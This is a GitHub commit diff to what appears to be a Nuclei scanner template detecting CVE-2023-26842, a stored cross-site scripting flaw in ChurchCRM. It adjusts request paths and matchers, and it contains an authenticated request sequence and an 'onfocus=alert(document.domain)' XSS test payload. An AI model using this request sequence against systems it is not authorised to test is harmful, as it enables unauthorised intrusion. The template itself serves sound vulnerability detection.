updated path,info

patch-1
Ritik Chaddha 2023-06-26 11:02:18 +05:30 committed by GitHub
parent dad8a4d86c
commit 5ffcba81f7
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 6 additions and 4 deletions

View File

@ -1,7 +1,7 @@
id: CVE-2023-26842 id: CVE-2023-26842
info: info:
name: ChurchCRM - Stored Cross Site Scripting name: ChurchCRM 4.5.3 - Cross-Site Scripting
author: Harsh author: Harsh
severity: medium severity: medium
description: | description: |
@ -16,18 +16,19 @@ info:
cwe-id: CWE-79 cwe-id: CWE-79
metadata: metadata:
verified: true verified: true
tags: cve,cve2023,churchCRM,stored,xss,authenticated tags: cve,cve2023,churchcrm,stored,xss,authenticated
http: http:
- raw: - raw:
- | - |
POST /churchcrm/session/begin HTTP/1.1 POST /session/begin HTTP/1.1
Host: {{Hostname}} Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded Content-Type: application/x-www-form-urlencoded
User={{username}}&Password={{password}} User={{username}}&Password={{password}}
- | - |
POST /churchcrm//OptionManager.php?mode=classes&ListID=1 HTTP/1.1 POST /OptionManager.php?mode=classes&ListID=1 HTTP/1.1
Host: {{Hostname}} Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded Content-Type: application/x-www-form-urlencoded
@ -39,6 +40,7 @@ http:
- type: dsl - type: dsl
dsl: dsl:
- 'status_code_2 == 200' - 'status_code_2 == 200'
- 'contains(content_type_2, "text/html")'
- 'contains(body_2, "onfocus=alert(document.domain) autofocus=")' - 'contains(body_2, "onfocus=alert(document.domain) autofocus=")'
- 'contains(body_2, "ChurchCRM")' - 'contains(body_2, "ChurchCRM")'
condition: and condition: and